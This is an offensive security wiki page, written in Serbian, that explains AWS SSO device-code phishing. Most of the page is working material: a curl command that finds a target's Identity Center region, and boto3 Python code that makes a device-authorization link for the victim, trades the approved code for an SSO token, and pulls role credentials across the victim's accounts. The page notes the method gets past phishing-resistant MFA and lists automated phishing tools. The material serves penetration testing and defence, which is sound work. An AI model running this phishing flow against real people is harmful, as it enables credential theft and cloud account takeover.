# AWS - Identity Center & SSO Unauthenticated Enum

{{#include ../../../banners/hacktricks-training.md}}

## AWS Device Code Phishing

Prvobitno predloženo u [**ovom blog postu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), moguće je poslati **link** korisniku koji koristi AWS SSO, koji ako **korisnik prihvati**, napadač će moći da dobije **token za impersonaciju korisnika** i pristup svim rolama kojima korisnik može da pristupi u **Identity Center**.

Da bi se izveo ovaj napad, zahtevi su:

- Žrtva mora koristiti **Identity Center**
- Napadač mora znati **subdomen** koji koristi žrtva `<victimsub>.awsapps.com/start`

Samo sa prethodnim informacijama, **napadač će moći da pošalje link korisniku** koji, ako bude **prihvaćen**, omogućava **napadaču pristup AWS korisničkom** nalogu.

### Attack

1. **Finding the subdomain**

Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. Ovo se može uraditi putem **OSINT** ili **pogađanja + BF**, jer većina kompanija koristi svoje ime ili varijaciju svog imena ovde.

Sa ovom informacijom, moguće je dobiti region u kojem je Identity Center konfigurisan:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Generišite link za žrtvu i pošaljite ga**

Pokrenite sledeći kod da generišete AWS SSO login link kako bi žrtva mogla da se autentifikuje.\
Za demo, pokrenite ovaj kod u python konzoli i ne izlazite iz nje jer će vam kasnije biti potrebni neki objekti za dobijanje tokena:
```python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Pošaljite generisanu vezu žrtvi koristeći svoje sjajne veštine socijalnog inženjeringa!

3. **Sačekajte da žrtva prihvati**

Ako je žrtva **već bila prijavljena na AWS**, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da se **prijavi i zatim prihvati dodeljivanje dozvola**.\
Ovako izgleda promp danas:

<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>

4. **Dobijte SSO pristupni token**

Ako je žrtva prihvatila promp, pokrenite ovaj kod da **generišete SSO token imitujući korisnika**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
SSO pristupni token je **važeći 8h**.

5. **Imitirati korisnika**
```python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing the unphisable MFA

Zanimljivo je znati da prethodni napad **radi čak i ako se koristi "unphisable MFA" (webAuth)**. To je zato što prethodni **tok rada nikada ne napušta korišćeni OAuth domen**. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da **kod poznaje uređaj** i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo **znajući inicijalni kod**, će moći da **dobije akreditive** za korisnika.

Za više informacija o ovome [**proverite ovaj post**](https://mjg59.dreamwidth.org/62175.html).

### Automatic Tools

- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)

## References

- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)

{{#include ../../../banners/hacktricks-training.md}}
